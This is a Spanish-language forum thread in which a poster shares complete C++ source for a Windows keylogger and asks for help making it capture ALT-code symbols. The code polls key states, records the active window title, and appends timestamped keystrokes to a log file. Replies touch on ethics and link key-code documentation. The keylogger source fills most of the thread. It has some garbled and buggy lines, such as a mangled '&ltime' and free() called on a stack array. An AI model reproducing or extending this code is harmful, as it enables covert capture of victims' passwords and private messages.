Que tal gente!
Estoy haciendo un keylogger en C++/CPP.
Tomé como influencias ciertos códigos que se han publicado en esta página pero por lo que veo nadie se detuvo a perfeccionar este pequeño keylogger. Lo cual me resulta un desperdicio de posibilidades y talento. (LEER AL FINAL DEL CODIGO)
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define OK -32767
int main() {
FILE *log;
HWND ventana;
time_t ltime;
int tecla=0;
int cont=0;
char TVentana[500] = "";
char Teclas[10240]=""; // 0 1 2 3 4 5 6 7 8 9 10
char simbol[256][15] =/*0*/ {"","","[CliC-I]","[CliC-D]","","[CliC-C]","","","[Retroceder]","[TAB]","",
/*1*/ "","","[ENTER]","","","[SHIFT]","[CONTROL]","[ALT]","","[Mayusculas]",
/*2*/ "","","","","","","[Esc]","","","",
/*3*/ ""," ","[Re-Pag]","[Av-Pag]","","[Inicio]","[Izquierda]","[Arriba]","[Derecha]","[Abajo]",
/*4*/ "","","","[PrtSc]","[Insert]","[Supr]","","0","1","2",
/*5*/ "3","4","5","6","7","8","9","","","",
/*6*/ "","","","","a","b","c","d","e","f",
/*7*/ "g","h","i","j","k","l","m","n","o","p",
/*8*/ "q","r","s","t","u","v","w","x","y","z",
/*9*/ "[WIN-I]","[WIN-D]","[D-WIN]","","","0","1","2","3",
/*10*/ "4","5","6","7","8","9","*","+"," ","-",".",
/*11*/ "/","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]",
/*12*/ "[F10]","[F11]","[F12]"," "," "," "," "," "," "," ",
/*13*/ " "," "," "," "," "," "," "," "," "," "," ",
/*14*/ " "," ","[Bloq Num]"," "," "," "," "," "," ",
/*15*/ " "," "," "," "," "," "," "," "," ","[Shift-I]",
/*16*/ "[Shift-D]"," "," "," "," "," "," "," "," "," ",
/*17*/ " "," "," "," "," "," "," "," "," "," ",
/*18*/ " "," "," "," "," "," "," ",",","-",".",
/*19*/ " "," "," "," "," "," "," "," "," ",
/*20*/ " "," "," "," "," "," "," "," "," "," "," ",
/*21*/ " "," "," "," "," "," "," "," ","'","\\",
/*22*/ "¡","´" };
log=fopen("log.log","a");
fprintf(log,"\n/******************************/");
fprintf(log,"\n/*
- KeyLoGuer */");
fprintf(log,"\n/* - Iniciando...OK ");
fprintf(log,"\n/******************************/");
fclose(log);
ventana=GetForegroundWindow();
while(1) {
if((GetForegroundWindow()!=ventana) || (cont==850)){
if(strlen(TVentana)>0 && strlen(Teclas)>0) {
time(<ime);
ctime(<ime);
log=fopen("log.log","a");
fprintf(log,"\n\n - Fecha: %s",ctime(<ime));
fprintf(log," - Ventana: %s ",TVentana);
fprintf(log,"\n - Texto: %s",Teclas);
fprintf(log,"\n ");
fprintf(log,"\n/******************************/\n");
fclose(log);
free(Teclas);
strcpy(Teclas,"");
cont = 0;
}
ventana=GetForegroundWindow();
}
else {
GetWindowText(ventana,TVentana,500);
}
for(tecla=4;tecla<256;tecla++) {
if (GetAsyncKeyState(tecla)==OK) {
strcat(Teclas,simbol[tecla]);
printf(" %s \n" ,simbol[tecla]);
cont++;
}
}
}
}
Muy buen código y de todos los que vi buscando por internet fue el más simple y efectivo. De todas formas NINGUNO de estos keyloggers puede detectar todo el codigo ASCII.
Veamos un ejemplo mientras se ejecuta el programa: Si alguien teclea ALT+265 se crea el simbolo "○", Sin embargo en el .log solo se guarda ALT ALT ALT ...
NINGUN KEYLOGGER HECHOS EN C++ HASTA AHORA RECONOCE TODA LA SIMBOLOGIA Y ESTO REQUIERE MEJORAS.
Por favor alguien sabe como completar el código? Es posible hacerlo en C++?
usa las etiquetas GeShi para publicar codigo, realmente nadie se a dedicado a mejorarlo porque muchos codigos están puestos por mera razon de analisis o gente queriendo mostrar su "gran" conocimiento en malware, pero el foro en general está contra los actos no eticos o criminales... por eso es que no ves grandes avances el estos temas como un post, es más que todo aprender que hace y como
Esto es como la ciencia. Puede usarse para el bien o para el mal.
Pero creo que todos estamos de acuerdo en que esta debe seguir avanzando.
Creo que es un buen ejemplo para resolver desde el lado ético. Convengamos que es un keylogger muy simple, fácilmente detectable y es poco probable que alguien pueda usarlo de forma maligna a gran escala.
Lo siento, es la primera ves que entro al foro. Apenas le estoy agarrando la mano.
Espero que al menos alguien pueda ayudarme a terminarlo. No eh encontrado nada al respecto sobre este tema.
Gracias por moverlo a la categoría correcta y disculpen las molestias!
tranquilo... pero si quieres ve buscando aqui en c++ como aceptar caracteres unicode
ya conseguí el tema
http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx (http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx)
fíjate que incluso acepta los botones de "play" y cosas así...